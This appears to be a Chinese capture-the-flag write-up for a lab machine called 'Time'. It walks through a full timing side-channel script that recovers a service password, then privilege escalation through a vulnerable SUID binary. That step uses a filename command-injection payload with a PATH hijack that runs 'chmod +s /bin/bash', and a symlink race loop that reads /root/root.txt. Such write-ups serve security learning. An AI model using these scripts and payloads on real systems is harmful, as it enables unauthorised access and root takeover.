群友靶机-Time

> 俗话说时间就是金钱,来一场争分夺秒的旅程吧

信息收集

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-26 01:02 EST
Nmap scan report for 10.0.2.25
Host is up (0.00097s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
12345/tcp open  netbus?
| fingerprint-strings:
|   GenericLines, Help, JavaRMI, NULL:
|_    Time
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port12345-TCP:V=7.95%I=7%D=11/26%Time=6926981A%P=x86_64-pc-linux-gnu%r(
SF:NULL,2E,"Time\xe9\x9d\xb6\xe6\x9c\xba\xe5\xaf\x86\xe7\xa0\x81\xe9\xaa\x
SF:8c\xe8\xaf\x81\xe7\xb3\xbb\xe7\xbb\x9f\n\xe8\xaf\xb7\xe8\xbe\x93\xe5\x8
SF:5\xa5\xe5\xaf\x86\xe7\xa0\x81:\x20")%r(Help,43,"Time\xe9\x9d\xb6\xe6\x9
SF:c\xba\xe5\xaf\x86\xe7\xa0\x81\xe9\xaa\x8c\xe8\xaf\x81\xe7\xb3\xbb\xe7\x
SF:bb\x9f\n\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5\xe5\xaf\x86\xe7\xa0\x81:\x
SF:20\n\xe5\xaf\x86\xe7\xa0\x81\xe9\x95\xbf\xe5\xba\xa6\xe9\x94\x99\xe8\xa
SF:f\xaf!\n")%r(GenericLines,43,"Time\xe9\x9d\xb6\xe6\x9c\xba\xe5\xaf\x86\
SF:xe7\xa0\x81\xe9\xaa\x8c\xe8\xaf\x81\xe7\xb3\xbb\xe7\xbb\x9f\n\xe8\xaf\x
SF:b7\xe8\xbe\x93\xe5\x85\xa5\xe5\xaf\x86\xe7\xa0\x81:\x20\n\xe5\xaf\x86\x
SF:e7\xa0\x81\xe9\x95\xbf\xe5\xba\xa6\xe9\x94\x99\xe8\xaf\xaf!\n")%r(JavaR
SF:MI,43,"Time\xe9\x9d\xb6\xe6\x9c\xba\xe5\xaf\x86\xe7\xa0\x81\xe9\xaa\x8c
SF:\xe8\xaf\x81\xe7\xb3\xbb\xe7\xbb\x9f\n\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\
SF:xa5\xe5\xaf\x86\xe7\xa0\x81:\x20\n\xe5\xaf\x86\xe7\xa0\x81\xe9\x95\xbf\
SF:xe5\xba\xa6\xe9\x94\x99\xe8\xaf\xaf!\n");
MAC Address: 08:00:27:D6:93:D1 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
```

```
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS
7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.97 ms 10.0.2.25

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.37 seconds
```

22,80都没有信息 关注一下12345端口

```
┌──(kali㉿kali)-[~/Desktop/time]
└─$ nc 10.0.2.25 12345
Time靶机密码验证系统
请输入密码: 12345

密码长度错误!
```

长度错误 说明会读取我们的输入 并且做一个判断 不过我们也可以先fuzz一下长度

```
┌──(kali㉿kali)-[~/Desktop/time]
└─$ nc 10.0.2.25 12345
Time靶机密码验证系统
请输入密码: 12345678

密码错误!
```

看样子就是八位了 我们可以先用rockyou的8位字典来试一下

```
┌──(kali㉿kali)-[~/Desktop/time]
└─$ grep -x '.\{8\}' /usr/share/wordlists/rockyou.txt > rockyou_8chars.txt
```

```
┌──(kali㉿kali)-[~/Desktop/time]
└─$ head -n 10 rockyou_8chars.txt
password
iloveyou
princess
12345678
babygirl
michelle
sunshine
football
jennifer
superman

┌──(kali㉿kali)-[~/Desktop/time]
└─$ ./exp.sh
开始爆破... 目标: 10.0.2.25:12345
字典: rockyou_8chars.txt
尝试: password - 失败
尝试: iloveyou - 失败
尝试: princess - 失败
尝试: 12345678 - 失败
尝试: babygirl - 失败
尝试: michelle - 失败
尝试: sunshine - 失败
尝试: football - 失败
尝试: jennifer - 失败
尝试: superman - 失败
尝试: samantha - 失败
尝试: danielle - 失败
```

爆破了一会没啥反应 命令注入也没啥结果 此时结合靶机名称Time不难想到尝试一下一手**侧信道攻击**

```python
#!/usr/bin/env python3
import subprocess
import time
import statistics
import string
import random  # 新增：生成随机错后缀

TARGET_IP = "10.0.2.25"
TARGET_PORT = 12345
TIMEOUT = 3  # nc 超时（s）
```

```
NUM_SAMPLES = 5  # 采样次数
CHAR_SET = string.ascii_letters + string.digits  # a-z A-Z 0-9 (62 chars)
PASSWORD_LEN = 8
BASELINE_PASSWORD = "bbbbbbbb"  # 基准错密码（无匹配）
threshold_multiplier = 1.2  # 阈值：长20%视为匹配（根据基准调小如1.1或大如1.5）

def measure_time(password):
    """测量单个密码响应时间（ms）"""
    times = []
    for _ in range(NUM_SAMPLES):
        start = time.perf_counter()
        try:
            cmd = f'echo -n "{password}" | nc {TARGET_IP} {TARGET_PORT}'
            result = subprocess.run(cmd, shell=True, capture_output=True,
text=True, timeout=TIMEOUT)
            end = time.perf_counter()
            times.append((end - start) * 1000)  # ms
        except subprocess.TimeoutExpired:
            print(f"[!] {password} 超时 - 可能正确密码！手动验证。")
            return float('inf')
        except Exception as e:
            print(f"[!] 错误 ({password}): {e}")
            return 0
    avg_time = statistics.mean(times)
    # print(f"  调试: {password} 输出: {result.stdout.strip()[:50]}")  # 可开启调
试
    return avg_time

def generate_test_password(prefix, test_char, pos):
    """生成测试密码：前缀 + test_char + 错后缀（补到8位）"""
    remaining = PASSWORD_LEN - len(prefix) - 1
    wrong_suffix = "a" * remaining if remaining > 0 else ""
    return prefix + test_char + wrong_suffix

def timing_attack():
    password = ""
    baseline_time = measure_time(BASELINE_PASSWORD)
    print(f"[*] 基准时间 (错8位密码 '{BASELINE_PASSWORD}'): {baseline_time:.2f}
ms")

    for pos in range(PASSWORD_LEN):
        print(f"\n[*] 爆破第 {pos+1} 位，前缀: '{password}'")
        max_time = 0
        best_char = None
        test_passwords = []  # 记录测试密码
```

```
        for char in CHAR_SET:
            test_pw = generate_test_password(password, char, pos)
            test_passwords.append(test_pw)
            t = measure_time(test_pw)
            print(f"  尝试 '{test_pw}' : {t:.2f} ms", end='')
            if t > max_time:
                max_time = t
                best_char = char
                print(" <- 最佳")
            else:
                print()

        print(f"[*] 本轮最佳: '{best_char}' ({max_time:.2f} ms)")

        if max_time > baseline_time * threshold_multiplier:
            password += best_char
            print(f"[+] 确认第 {pos+1} 位: '{best_char}'")
        else:
            print(f"[!] 第 {pos+1} 位无明显时序差异 (max {max_time:.2f} ms < 
{baseline_time * threshold_multiplier:.2f} ms)，停止。")
            break

    print(f"\n[+] 可能密码: '{password}' (长度 {len(password)})")
    if len(password) == PASSWORD_LEN:
        # 最终验证完整密码
        final_time = measure_time(password)
        print(f"[*] 完整密码 '{password}' 时间: {final_time:.2f} ms")
        if final_time > baseline_time * 1.5 or final_time == float('inf'):
            print("[+] 很可能正确！连接获取 RCE shell:")
            print(f"  nc {TARGET_IP} {TARGET_PORT}")
            print("  输入密码后，尝试 'id' 或其他命令。")
        else:
            print("[!] 未确认差异，调整阈值/字符集重试。")
    else:
        print("[!] 未完成爆破。尝试小字符集或调阈值。")

if __name__ == "__main__":
    print("[*] 修复版时序侧信道攻击启动（全8位测试）...")
    print(f"[*] 目标: {TARGET_IP}:{TARGET_PORT}")
    print(f"[*] 字符集: {len(CHAR_SET)} chars (a-z A-Z 0-9)")
    print(f"[*] 阈值倍数: {threshold_multiplier}")
    timing_attack()
```

```
┌──(kali㉿kali)-[~/Desktop/time]
└─$ python exp.py
[*] 修复版时序侧信道攻击启动（全8位测试）...
[*] 目标: 10.0.2.25:12345
[*] 字符集: 62 chars (a-z A-Z 0-9)
[*] 阈值倍数: 1.2
[*] 基准时间 (错8位密码 'bbbbbbbb'): 204.90 ms

[*] 爆破第 1 位，前缀: ''
  尝试 'aaaaaaaa' : 204.88 ms <- 最佳
  尝试 'baaaaaaa' : 207.13 ms <- 最佳
  尝试 'caaaaaaa' : 205.81 ms
  尝试 'daaaaaaa' : 206.48 ms
......
......
  尝试 'oaaaaaaa' : 205.25 ms
  尝试 'paaaaaaa' : 204.69 ms
  尝试 'qaaaaaaa' : 205.83 ms
  尝试 'raaaaaaa' : 204.89 ms
  尝试 'saaaaaaa' : 205.31 ms
  尝试 'taaaaaaa' : 305.98 ms <- 最佳
  尝试 'uaaaaaaa' : 206.57 ms
  尝试 'vaaaaaaa' : 204.80 ms
  尝试 'waaaaaaa' : 205.06 ms
  尝试 'xaaaaaaa' : 204.89 ms
  尝试 'yaaaaaaa' : 205.44 ms
  尝试 'zaaaaaaa' : 207.86 ms
  尝试 'Aaaaaaaa' : 205.75 ms
......
......
[*] 本轮最佳: 't' (305.98 ms)
[+] 确认第 1 位: 't'

[*] 爆破第 2 位，前缀: 't'
  尝试 'taaaaaaa' : 306.10 ms <- 最佳
  尝试 'tbaaaaaa' : 305.83 ms
  尝试 'tcaaaaaa' : 305.60 ms
  尝试 'tdaaaaaa' : 305.04 ms
  尝试 'teaaaaaa' : 306.29 ms <- 最佳
  尝试 'tfaaaaaa' : 305.84 ms
  尝试 'tgaaaaaa' : 307.72 ms <- 最佳
  尝试 'thaaaaaa' : 308.60 ms <- 最佳
  尝试 'tiaaaaaa' : 407.21 ms <- 最佳
  尝试 'tjaaaaaa' : 305.63 ms
  尝试 'tkaaaaaa' : 307.44 ms
  尝试 'tlaaaaaa' : 307.80 ms
```

```
......
......
[*] 本轮最佳: 'i' (407.21 ms)
[+] 确认第 2 位: 'i'

[*] 爆破第 3 位，前缀: 'ti'
  尝试 'tiaaaaaa' : 407.09 ms <- 最佳
  尝试 'tibaaaaa' : 406.61 ms
  尝试 'ticaaaaa' : 407.08 ms
  尝试 'tidaaaaa' : 408.19 ms <- 最佳
  尝试 'tieaaaaa' : 406.86 ms
  尝试 'tifaaaaa' : 409.41 ms <- 最佳
......
......
[*] 爆破第 8 位，前缀: 'timeT1M'
  尝试 'timeT1Ma' : 909.36 ms <- 最佳
  尝试 'timeT1Mb' : 909.39 ms <- 最佳
  尝试 'timeT1Mc' : 908.52 ms
  尝试 'timeT1Md' : 908.57 ms
  尝试 'timeT1Me' : 908.27 ms
  尝试 'timeT1Mf' : 913.75 ms <- 最佳
  尝试 'timeT1Mg' : 909.19 ms
  尝试 'timeT1Mh' : 909.30 ms
  尝试 'timeT1Mi' : 907.55 ms
  尝试 'timeT1Mj' : 908.20 ms
  尝试 'timeT1Mk' : 907.60 ms
  尝试 'timeT1Ml' : 908.95 ms
  尝试 'timeT1Mm' : 909.01 ms
```

最后得到密码 `timeT1M3` 成功获得立足点

```
┌──(kali㉿kali)-[~/Desktop/time]
└─$ nc 10.0.2.25 12345
Time靶机密码验证系统
请输入密码: timeT1M3

密码正确! 获得shell访问权限...
id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
```

提权

```
welcome@Time:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/show
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
```

这个`show`非常显眼 看一下可以干什么

```
welcome@Time:/$ /usr/bin/show -h
/usr/bin/show -h
stat失败: No such file or directory
welcome@Time:/$ /usr/bin/show --help
/usr/bin/show --help
stat失败: No such file or directory
welcome@Time:/$ /usr/bin/show /etc/passwd
/usr/bin/show /etc/passwd
错误：只能编辑自己的文件
welcome@Time:/$
```

拖到ida里面看一下

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __uid_t st_uid; // ebx
  char s[256]; // [rsp+10h] [rbp-1A0h] BYREF
  struct stat stat_buf; // [rsp+110h] [rbp-A0h] BYREF

  if ( argc == 2 )
  {
    if ( (unsigned int)_stat((char *)argv[1], &stat_buf) )
```

```
    {
      perror(::s);
      return 1;
    }
    else
    {
      st_uid = stat_buf.st_uid;
      if ( st_uid == getuid() )
      {
        puts(&byte_2058);
        usleep(0x7A120u);
        setuid(0);
        setgid(0);
        snprintf(s, 0x100u, "/bin/cat %s", argv[1]);
        system(s);
        return 0;
      }
      else
      {
        puts(&byte_2030);
        return 1;
      }
    }
  }
  else
  {
    printf(&format, *argv, envp);
    return 1;
  }
}
```

首先可以看到`usleep(0x7A120u);`此时不难想到**条件竞争**

我们发现，他会先检查文件的权限，如果文件不属于自己，则会提示`错误：只能编辑自己的文件`

因此 我们可以先创建一个属于自己的文件

再利用时间差绕过检查后替换成我们想要他读取的文件

以下来自AI：

它在处理文件时，先检查文件是否属于当前用户（Check），如果检查通过，就进一步去读取这个文件（Use）。但是这两步之间不是原子操作，中间存在一个“时间差”。在这个时间差里，攻击者可以把原本合法的 `a.txt` 替换成指向 `/root/root.txt` 的软链接，从而让程序在最终使用时读取到 root 的文件内容。

同时，注意到

```
snprintf(s, 0x100u, "/bin/cat %s", argv[1]);
system(s);
```

可能存在命令注入，由此引申出两种获得flag的方法

方法一 命令注入

```
welcome@Time:~$ touch '1;a'
welcome@Time:~$ chmod +x a
welcome@Time:~$ export PATH=/home/welcome:$PATH
welcome@Time:~$ which a
/home/welcome/a
welcome@Time:~$ cat a
#!/bin/bash
chmod +s /bin/bash
welcome@Time:~$ show '1;a'
文件验证通过，准备编辑...
/bin/cat: 1: No such file or directory
welcome@Time:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
welcome@Time:~$ bash -p
bash-5.0# id
uid=1000(welcome) gid=1000(welcome) euid=0(root) egid=0(root)
groups=0(root),1000(welcome)
bash-5.0#
```

方法二 条件竞争

前面提到 条件竞争需要卡在一个检验成功的时候替换文件指向想读的文件 因此我们需要两个shell

```
welcome@Time:~$ for i in $(seq 1000);do rm a.txt ; echo 1234 > a.txt ; rm
a.txt ; ln -svf /root/root.txt a.txt;done
rm: cannot remove 'a.txt': No such file or directory
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
```

```
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
'a.txt' -> '/root/root.txt'
```

```
-bash-5.0$ for i in $(seq 100);do show a.txt;done
文件验证通过，准备编辑...
1234
stat失败: No such file or directory
错误：只能编辑自己的文件
文件验证通过，准备编辑...
flag{root-4821726c1947cdf3eebacade98173939}
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
```

```
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
错误：只能编辑自己的文件
```

结束